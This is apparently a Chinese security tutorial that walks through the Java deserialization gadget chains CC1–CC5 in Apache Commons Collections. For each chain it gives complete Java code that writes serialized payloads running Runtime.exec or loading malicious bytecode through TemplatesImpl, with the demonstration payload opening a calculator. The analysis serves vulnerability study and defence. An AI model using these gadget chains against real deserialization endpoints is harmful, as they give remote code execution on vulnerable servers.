Java 反序列化漏洞(二) - Commons Collections

CommonsCollections1

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。

前置知识

在看具体漏洞之前,先来看一下一些基础知识。

AbstractMapDecorator

首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。

这个类有很多实现类,各个类触发的方式不同,重点关注的是 TransformedMap 以及 LazyMap。

TransformedMap

org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。测试用例如下:

也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。

LazyMap

org.apache.commons.collections.map.LazyMap 与 TransformedMap 类似,不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。

与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap,同样是 get() 方法会触发 transform 方法。

Transformer

org.apache.commons.collections.Transformer 是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。

在 Commons Collection 3.2.1 中,程序提供了 14 个 Transformer 的实现类,用来实现不同的对 TransformedMap 中 key/value 进行修改的功能。

重点关注其中几个实现类。

InvokerTransformer

这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,我们来看一下它的 transfrom 方法,方法注释写的很清楚,通过调用 input 的方法,并将方法返回结果作为处理结果进行返回。

调用需要的参数 iMethodName/iParamTypes 是在 InvokerTransformer 的构造函数中传入。这样我们就可以使用 InvokerTransformer 来执行方法,测试代码:

// InvokerTransformer 弹计算器测试
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"});
transformer.transform(Runtime.getRuntime());

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer 类也是一个 Transformer的实现类,但是这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。

这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer 是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。

这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。

攻击构造

有了上述基础知识的铺垫,就可以开始构造反序列化的恶意利用代码了。

例如我们还是要执行 Runtime.getRuntime().exec("open -a Calculator.app"),按照需求对其进行拆分,这里使用 TransformedMap 触发,实例代码如下:

// 结合 ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
		new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
		new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});


Map map2 = TransformedMap.decorate(hashMap, chain, null);
map2.put(10, "aaa");

使用 ConstantTransformer 返回 Runtime 的 Class 对象,传入 InvokerTransformer 中,并借助 ChainedTransformer 的链式调用方式完成反射的调用,支持恶意代码。在上述案例中,使用 TransformedMap 的 decorate 方法将 ChainedTransformer 设置为 map 的装饰器处理方法后,当调用 TransformedMap 的 put/setValue 等方法时会触发 Transformer 链的调用处理。

截止到这里,我们利用 CC 库成功构造了 sink gadget 和 chain gadget,接下来我们需要找到一个 kick-off gadget:一个类重写了 readObject ,在反序列化时可以改变 map 的值。

于是我们找到了 sun.reflect.annotation.AnnotationInvocationHandler 这个类。这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。

我们来看一下这个类的代码,首先是构造方法:

构造方法接收两个参数,第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。

这里的 memberValues 就是用来触发的 Map。接下来我们看一下这个类重写的 readObject 方法:

首先调用 AnnotationType.getInstance(this.type) 方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。

然后循环 this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。

用语言描述这些代码可能有些拗口,注解本质是一个继承了 Annotation 的特殊接口,其具体实现类是 Java 运行时生成的动态代理类。通过代理对象调用自定义注解(接口)的方法,会最终调用 AnnotationInvocationHandler 的 invoke 方法。该方法会从 memberValues 这个 Map 中索引出对应的值。

而重写 readObject 方法,则给了程序传递注解值的能力了。

所以我们构造恶意 payload 的思路就清楚了:

  • 构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map,这个 Map 的 key 中要有注解类中存在的属性,但是值不是对应的实例,也不是 ExceptionProxy 对象。
  • 这个 Map 由 TransformedMap 封装,并调用自定义的 ChainedTransformer 进行装饰。
  • ChainedTransformer 中写入多个 Transformer 实现类,用于链式调用,完成恶意操作。

所以最终的恶意代码为:

public class CC1WithTransformedMap {

	public static String fileName = "CC1withTransformedMap.bin";

	public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException,
			InstantiationException, IllegalAccessException, IOException {

		Map hashMap = new HashMap();
		// 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
		// 并且这里的值的一定不是属性值的类型
		hashMap.put("comments", 2);

		// 结合 ChainedTransformer
		ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
				new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
		});


		Map      transformedMap = TransformedMap.decorate(hashMap, null, chain);
		Class<?> c              = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);
		InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);

		SerializeUtil.writeObjectToFile(handler, fileName);
//		SerializeUtil.readFileObject(fileName);
	}
}

这里有个细节就是网上大多数 payload 使用 Target.class 的 value 属性来触发,其实用什么都行,找任意一个有属性的注解都可以,在上面的示例代码中,我使用了 Generated.class 的 comments 属性。

除了用 TransformedMap,还可以用 LazyMap 来触发,之前提到过,LazyMap 通过 get() 方法获取不到 key 的时候触发 Transformer。

我们发现 AnnotationInvocationHandler 的 invoke() 方法可以触发 memberValues 的 get 方法。

这里用到了动态代理,总结起来的一句话就是被动态代理的对象调用任意方法都会调用对应的InvocationHandler 的 invoke 方法。

那构造的思路的就有了,在使用带有装饰器的 LazyMap 初始化 AnnotationInvocationHandler 之前,先使用 InvocationHandler 代理一下 LazyMap,这样反序列化 AnnotationInvocationHandler 时,调用 LazyMap 值的 setValue 方法之前会调用代理类的 invoke 方法,触发 LazyMap 的 get 方法。

不得不说这种思路稍微有些变态,因为使用了 AnnotationInvocationHandler 作为反序列化触发点,又同时使用其动态代理特性,所以有点绕。那么最终的恶意代码为:

public class CC1WithLazyMap {


	public static String fileName = "CC1withLazyMap.bin";


	public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
		// 结合 ChainedTransformer
		ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
				new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
		});


		Map            lazyMap     = LazyMap.decorate(new HashMap(), chain);
		Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
		InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
		// 创建LazyMap的动态代理类实例
		Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

		// 使用动态代理初始化 AnnotationInvocationHandler
		InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);

		SerializeUtil.writeObjectToFile(invocationHandler, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 CC1 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作,配合 TransformedMap/LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法,最后结合了 ChainedTransformer 的链式调用、InvokerTransformer 的反射执行完成了恶意调用链的构成。其中 LazyMap 的触发还用到了动态代理机制。
  2. Gadget 总结:
    • kick-off gadget:sun.reflect.annotation.AnnotationInvocationHandler#readObject()
    • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
    • chain gadget:org.apache.commons.collections.functors.ChainedTransformer#transform()
  3. 调用链展示:
AnnotationInvocationHandler.readObject()
   *Map(Proxy).entrySet()
        *AnnotationInvocationHandler.invoke()
            LazyMap.get()/TransformedMap.setValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InvokerTransformer.transform()
  1. 依赖版本

commons-collections : 3.1
TransformedMap - jdk < 8u71

CommonsCollections2

还是 CC 库的链,测试依赖版本 commons-collections4 4.0

前置知识

PriorityQueue

PriorityQueue 优先级队列是基于优先级堆(a priority heap)的一种特殊队列,他给每个元素定义“优先级”,这样取出数据的时候会按照优先级来取。默认情况下,优先级队列会根据自然顺序对元素进行排序。

因此,放入PriorityQueue的元素,必须实现 Comparable 接口,PriorityQueue 会根据元素的排序顺序决定出队的优先级。如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。
s
PriorityQueue 支持反序列化,在重写的 readObject 方法中,将数据反序列化到 queue 中之后,会调用 heapify() 方法来对数据进行排序。

heapify() 方法调用 siftDown() 方法,在 comparator 属性不为空的情况下,调用 siftDownUsingComparator() 方法

siftDownUsingComparator() 方法中,会调用 comparator 的 compare() 方法来进行优先级的比较和排序。

这样,反序列化之后的优先级队列,也拥有了顺序。

TransformingComparator

TransformingComparator 是触发这个漏洞的一个关键点,他将 Transformer 执行点和 PriorityQueue 触发点连接了起来。

TransformingComparator 看类名就类似 TransformedMap,实际作用也类似,用 Tranformer 来装饰一个 Comparator。也就是说,待比较的值将先使用 Tranformer 转换,再传递给 Comparator 比较。

TransformingComparator 初始化时配置 Transformer 和 Comparator,如果不指定 Comparator,则使用 ComparableComparator.<Comparable>comparableComparator()

在调用 TransformingComparator 的 compare 方法时,可以看到调用了 this.transformer.transform() 方法对要比较的两个值进行转换,然后再调用 compare 方法比较。

TemplatesImpl

关于 TemplatesImpl 的反序列化触发方式,在我之前的 fastjson 文章中有描述,这里不再占用篇幅,简单总结一下就是:

  • TemplatesImpl 的属性 _bytecodes 存储了类字节码
  • TemplatesImpl 类的部分方法可以使用这个类字节码去实例化这个类,这个类的父类需是 AbstractTranslet
  • 在这个类的无参构造方法或静态代码块中写入恶意代码,再借 TemplatesImpl 之手实例化这个类触发恶意代码

攻击构造

看到了 Transformer 对象,那后面的攻击流程就容易理解了,还是使用 ChainedTransformer 调用 InvokerTransformer 来触发恶意操作。

最终的恶意代码为:

public class CC2WithChain {

	public static String fileName = "CC2WithChain.bin";

	public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, IOException {

		// 初始化 Transformer
		ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
				new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"}));

		TransformingComparator comparator = new TransformingComparator(chain);

		// 在初始化时不带入 comparator,而是
		PriorityQueue<String> queue = new PriorityQueue<>(2);
		queue.add("1");
		queue.add("2");

		Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field.setAccessible(true);
		field.set(queue, comparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

这里需要注意的是,在初始化 PriorityQueue 时没有指定 comparator,而是使用反射写入,这是为了避免在向 queue 中添加内容时触发排序而导致触发恶意 payload。

ysoserial 的 CC2 没有使用 ChainedTransformer,而直接使用了 InvokerTransformer 配合 TemplatesImpl 直接加载恶意类的 bytecode。

触发逻辑为:

  • 创建恶意的 TemplatesImpl 对象,写入 _bytecodes_name 属性,完成调用 newTransformer 方法触发恶意类的实例化的条件。
  • 创建 PriorityQueue,由于 TemplatesImpl 不是 Comparable 对象,需要反射将恶意的 TemplatesImpl 对象写入到 PriorityQueue 的 queue 中。
  • 使用 InvokerTransformer (调用被装饰对象的 newTransformer 方法)创建 TransformingComparator ,并将其赋予到 PriorityQueue 中。

最终的恶意代码为:

public class CC2WithTemplatesImpl {

	public static String fileName = "CC2WithTemplatesImpl.bin";

	public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

		// 读取恶意类 bytes[]
		InputStream inputStream = CC2WithTemplatesImpl.class.getResourceAsStream("EvilClassForCC2.class");
		byte[]      bytes       = new byte[inputStream.available()];
		inputStream.read(bytes);

		// 初始化 PriorityQueue
		PriorityQueue<Object> queue = new PriorityQueue<>(2);
		queue.add("1");
		queue.add("2");


		// 初始化 TemplatesImpl 对象
		TemplatesImpl tmpl      = new TemplatesImpl();
		Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
		bytecodes.setAccessible(true);
		bytecodes.set(tmpl, new byte[][]{bytes});
		// _name 不能为空
		Field name = TemplatesImpl.class.getDeclaredField("_name");
		name.setAccessible(true);
		name.set(tmpl, "su18");

		Field field = PriorityQueue.class.getDeclaredField("queue");
		field.setAccessible(true);
		Object[] objects = (Object[]) field.get(queue);
		objects[0] = tmpl;

		// 用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法
		// 这个类是 public 的,方便调用
		Transformer            transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
		TransformingComparator comparator  = new TransformingComparator(transformer);

		Field field2 = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field2.setAccessible(true);
		field2.set(queue, comparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);

	}
}

总结

以上就是 CC2 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 PriorityQueue 在反序列化后会对队列进行优先级排序的特点,为其指定 TransformingComparator 排序方法,并在其中为其添加 Transforer,与 CC1 类似,主要的触发位置还是 InvokerTransformer。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
    • chain gadget:org.apache.commons.collections4.comparators.TransformingComparator#compare()
  3. 调用链展示:
PriorityQueue.readObject()
    TransformingComparator.compare()
        *ChainedTransformer.transform()
                InvokerTransformer.transform()
                    TemplatesImpl.newTransformer()
  1. 依赖版本

commons-collections4 : 4.0

CommonsCollections3

CC3 官方描述为 CC1 的变种,其中能看到 CC1 和 CC2 的部分影子,但是部分技术细节并不相同。

在 CC1 中,使用了 AnnotationInvocationHandler 对 LazyMap 进行代理,在反序列化时触发 LazyMap 的 get 方法,并对 LazyMap 装饰 Transformer 触发漏洞。

在 CC2 中,使用 TemplatesImpl 的 newTransformer 方法触发实例化恶意类触发漏洞,方法的调用则是使用了 InvokerTransformer 反射调用。

而在 CC3 中,使用了 CC1 和 LazyMap 和 CC3 的 TemplatesImpl,中间寻找了其他的触发 newTransformer 的实现方式。

前置知识

TrAXFilter

在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。

InstantiateTransformer

有了上述 gadget ,接下来的重点就是需要我们实例化这个 TrAXFilter,实例化我们当然可以使用 InvokerTransformer 反射拿到 Constructor 再 newInstance,但是同样地可以直接使用另外一个 Transformer:InstantiateTransformer。

Commons Collections 提供了 InstantiateTransformer 用来通过反射创建类的实例,可以看到 transform() 方法实际上接收一个 Class 类型的对象,通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例。

反射需要的 iParamTypes 参数类型、iArgs 参数值则在 InstantiateTransformer 初始化时赋值。

攻击构造

由此,结合上面的点,可以构造出完全的攻击代码:

public class CC3 {

	public static String fileName = "CC3.bin";

	public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException {

		// 读取恶意类 bytes[]
		InputStream inputStream = CC3.class.getResourceAsStream("EvilClassForCC3.class");
		byte[]      bytes       = new byte[inputStream.available()];
		inputStream.read(bytes);

		// 初始化 TemplatesImpl 对象
		TemplatesImpl tmpl      = new TemplatesImpl();
		Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
		bytecodes.setAccessible(true);
		bytecodes.set(tmpl, new byte[][]{bytes});
		// _name 不能为空
		Field name = TemplatesImpl.class.getDeclaredField("_name");
		name.setAccessible(true);
		name.set(tmpl, "su18");


		// 结合 ChainedTransformer
		ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
		});

		// 初始化 LazyMap
		Map            lazyMap     = LazyMap.decorate(new HashMap(), chain);
		Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> constructor = c.getDeclaredConstructors()[0];
		constructor.setAccessible(true);

		// 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
		InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
		// 创建LazyMap的动态代理类实例
		Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

		// 使用动态代理初始化 AnnotationInvocationHandler
		InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);

		SerializeUtil.writeObjectToFile(invocationHandler, fileName);
//		SerializeUtil.readFileObject(fileName);
	}

}

总结

以上就是 CC3 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作,配合 LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法,利用了 InstantiateTransformer 实例化 TrAXFilter 类,并调用 TemplatesImpl 的 newTransformer 方法实例化恶意类字节码触发漏洞。
  2. Gadget 总结:
    • kick-off gadget:sun.reflect.annotation.AnnotationInvocationHandler#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
    • chain gadget:org.apache.commons.collections.functors.InstantiateTransformer#transform()
  3. 调用链展示:
AnnotationInvocationHandler.readObject()
   Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
            LazyMap.get()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()
  1. 依赖版本

commons-collections : 3.1~3.2.1
jdk < 7u21

CommonsCollections4

CC4 是 CC2 的一个变种,用 PriorityQueue 的 TransformingComparator 触发 ChainedTransformer,再利用 InstantiateTransformer 实例化 TemplatesImpl,排列组合了属于是。

ysoserial 的 CC4 没什么意思,在这里补充一个对 PriorityQueue 的替代链 TreeBag。

前置知识

TreeBag & TreeMap

在 CC2 中,使用了优先级队列 PriorityQueue 反序列化时会调用 comparator 的 compare 方法的特性,配合 TransformingComparator 触发 transformer。

除了 PriorityQueue,还能否找到其他的提供排序的类,在反序列化时会调用到比较器呢?于是找到了 TreeBag。

对于 Bag 我很陌生,所以这里简单介绍一下。

Bag 接口继承自 Collection 接口,定义了一个集合,该集合会记录对象在集合中出现的次数。它有一个子接口 SortedBag,定义了一种可以对其唯一不重复成员排序的 Bag 类型。

TreeBag 是对 SortedBag 的一个标准实现。TreeBag 使用 TreeMap 来储存数据,并使用指定 Comparator 来进行排序。

TreeBag 继承自 AbstractMapBag,实现了 SortedBag 接口。初始化 TreeBag 时,会创建一个新的 TreeMap 储存在成员变量 map 里,而排序使用的 Comparator 则直接储存在 TreeMap 中。

在对 TreeBag 反序列化时,会将反序列化出来的 Comparator 对象交给 TreeMap 实例化,并调用父类的 doReadObject 方法处理:

doReadObject 方法会向 TreeMap 中 put 数据。

类似优先级队列,对于这种有序的储存数据的集合,反序列化数据时一定会对其进行排序动作,而 TreeBag 则是依赖了 TreeMap 在 put 数据时会调用 compare 进行排序的特点来实现数据顺序的保存。

毫无疑问,compare 方法中调用了 comparator 进行比较,那我们就可以使用 TransformingComparator 触发后续的逻辑。

攻击构造

CC4 攻击链用的都是之前的知识点,只是不同的组合,不再分析,直接上代码:

public class CC4 {

	public static String fileName = "CC4.bin";

	public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {

		// 读取恶意类 bytes[]
		InputStream inputStream = CC4.class.getResourceAsStream("EvilClassForCC4.class");
		byte[]      bytes       = new byte[inputStream.available()];
		inputStream.read(bytes);

		// 初始化 TemplatesImpl 对象
		TemplatesImpl tmpl      = new TemplatesImpl();
		Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
		bytecodes.setAccessible(true);
		bytecodes.set(tmpl, new byte[][]{bytes});
		// _name 不能为空
		Field name = TemplatesImpl.class.getDeclaredField("_name");
		name.setAccessible(true);
		name.set(tmpl, "su18");

		// 结合 ChainedTransformer
		ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
		});

		TransformingComparator comparator = new TransformingComparator(chain);

		// 在初始化时不带入 comparator
		PriorityQueue<String> queue = new PriorityQueue<>(2);
		queue.add("1");
		queue.add("2");

		Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
		field.setAccessible(true);
		field.set(queue, comparator);

		SerializeUtil.writeObjectToFile(queue, fileName);
		SerializeUtil.readFileObject(fileName);
	}
}

使用 TreeBag & TreeMap 构造的 payload:

public class CC4WithTreeBag {

	public static String fileName = "CC4WithTreeBag.bin";

	public static void main(String[] args) throws Exception {

		// 读取恶意类 bytes[]
		InputStream inputStream = CC4WithTreeBag.class.getResourceAsStream("EvilClassForCC4.class");
		byte[]      bytes       = new byte[inputStream.available()];
		inputStream.read(bytes);

		// 初始化 TemplatesImpl 对象
		TemplatesImpl tmpl      = new TemplatesImpl();
		Field         bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
		bytecodes.setAccessible(true);
		bytecodes.set(tmpl, new byte[][]{bytes});
		// _name 不能为空
		Field name = TemplatesImpl.class.getDeclaredField("_name");
		name.setAccessible(true);
		name.set(tmpl, "su18");

		// 用 InvokerTransformer 来反射调用 TemplatesImpl 的 newTransformer 方法
		// 这个类是 public 的,方便调用
		Transformer            transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
		TransformingComparator comparator  = new TransformingComparator(transformer);

		// prepare CommonsCollections object entry point
		TreeBag tree = new TreeBag(comparator);
		tree.add(tmpl);

		Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
		field.setAccessible(true);
		field.set(transformer, "newTransformer");

		SerializeUtil.writeObjectToFile(tree, fileName);
		SerializeUtil.readFileObject(fileName);
	}
}

总结

以上就是 CC4 链分析的全部内容了,最后总结一下。

ysoserial CC4:

  1. 利用说明:
    • 使用 PriorityQueue 反序列化时触发的 TransformingComparator 的 compare 方法,就会触发 ChainedTransformer 的 tranform 方法链,其中利用 InstantiateTransformer 实例化 TrAXFilter 类,此类实例化时会调用 TemplatesImpl 的 newTransformer 实例化恶意类,执行恶意代码。
  2. Gadget 总结:
    • kick-off gadget:java.util.PriorityQueue#readObject()
    • sink gadget:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
    • chain gadget:org.apache.commons.collections.functors.InstantiateTransformer#transform()
  3. 调用链展示:
PriorityQueue.readObject()
    TransformingComparator.compare()
        *ChainedTransformer.transform()
                InvokerTransformer.transform()
                    InstantiateTransformer.transform()
                        TemplatesImpl.newTransformer()    

TreeBag 总结:

  1. 利用说明:
    • 用 TreeBag 代替 PriorityQueue 触发 TransformingComparator,后续依旧使用 Transformer 的调用链。
  2. Gadget 总结:
    • kick-off gadget:org.apache.commons.collections4.bag.TreeBag#readObject
    • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
    • chain gadget:java.util.TreeMap#put()
  3. 调用链展示:
org.apache.commons.collections4.bag.TreeBag.readObject()
    org.apache.commons.collections4.bag.AbstractMapBag.doReadObject()
        java.util.TreeMap.put()
            java.util.TreeMap.compare()
                org.apache.commons.collections4.comparators.TransformingComparator.compare()
                        org.apache.commons.collections4.functors.InvokerTransformer.transform()
  1. 依赖版本

commons-collections4 : 4.0

CommonsCollections5

CC5 依旧是 LazyMap 加 ChainedTransformer 的触发模式,只不过不再使用 AnnotationInvocationHandler 的动态代理来触发 LazyMap 的 get ,而是找到了其他的方式。

因为 jdk 在 1.8 之后对 AnnotationInvocationHandler 类进行了修复,所以在 jdk 1.8 版本就必须找出能替代 AnnotationInvocationHandler 的新的可以利用的类。

前置知识

TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry 是一个 Map.Entry 的实现类,从名称中可以看到,这是一个绑定了底层 map 的 Entry,用来使一个 map entry 对象拥有在底层修改 map 的功能。

TiedMapEntry 中有一个成员属性 Map,这就是 Map.Entry 的底层 map,TiedMapEntry 的 getValue() 方法会调用底层 map 的 get() 方法,我们可以用来触发 LazyMap 的 get。那谁会调用 getValue() 方法呢?我们发现 TiedMapEntry 的 equals/hashCode/toString 都可以触发。

equals/hashCode 让我们想到了 URLDNS 的 HashMap,不过在 CC5 中我们用的是 toString() 方法。

接下来需要找到一个类在反序列化时会触发 TiedMapEntry 的 toString() 方法。

BadAttributeValueExpException

于是找到了 javax.management.BadAttributeValueExpException 这个类,反序列化读取 val,当 System.getSecurityManager() == null 或 valObj 是除了 String 的其他基础类型时会调用 valObj 的 toString() 方法,完成上面 TiedMapEntry 的构造。

攻击构造

使用上述两个新扩展的触发点,配合 LazyMap 就可以完成一条新的攻击路径。由于 ysoserial 使用了 ChainedTransformer + InvokerTransformer 的方式,我这里也同样使用这种方式,当然还可以使用
InvokerTransformer + TemplatesImpl/TrAXFilter + InstantiateTransformer + TemplatesImpl 的方式触发,在上面的例子中都有使用,这里不再重复罗列。

最终的恶意代码如下:

public class CC5 {

	public static String fileName = "CC5.bin";

	public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

		// 创建 ChainedTransformer
		ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
				new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
				new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
		});

		// 创建 LazyMap 并引入 TiedMapEntry
		Map          lazyMap = LazyMap.decorate(new HashMap(), chain);
		TiedMapEntry entry   = new TiedMapEntry(lazyMap, "su18");

		// 实例化 BadAttributeValueExpException 并反射写入
		BadAttributeValueExpException exception = new BadAttributeValueExpException("su18");
		Field                         field     = BadAttributeValueExpException.class.getDeclaredField("val");
		field.setAccessible(true);
		field.set(exception, entry);

		SerializeUtil.writeObjectToFile(exception, fileName);
		SerializeUtil.readFileObject(fileName);
	}

}

需要注意的是,BadAttributeValueExpException 构造方法会直接调用 val 的 toString() 触发,所以需要反射写进去。

总结

以上就是 CC5 链分析的全部内容了,最后总结一下。

  1. 利用说明:
    • 反序列化 BadAttributeValueExpException 调用 TiedMapEntry 的 toString 方法,间接调用了 LazyMap 的 get 方法,触发了后续的 Transformer 恶意执行链。
  2. Gadget 总结:
    • kick-off gadget:javax.management.BadAttributeValueExpException#readObject()
    • sink gadget:org.apache.commons.collections.functors.InvokerTransformer#transform()
    • chain gadget:org.apache.commons.collections.keyvalue.TiedMapEntry#toString()
  3. 调用链展示:
BadAttributeValueExpException.readObject()
   TiedMapEntry.toString()
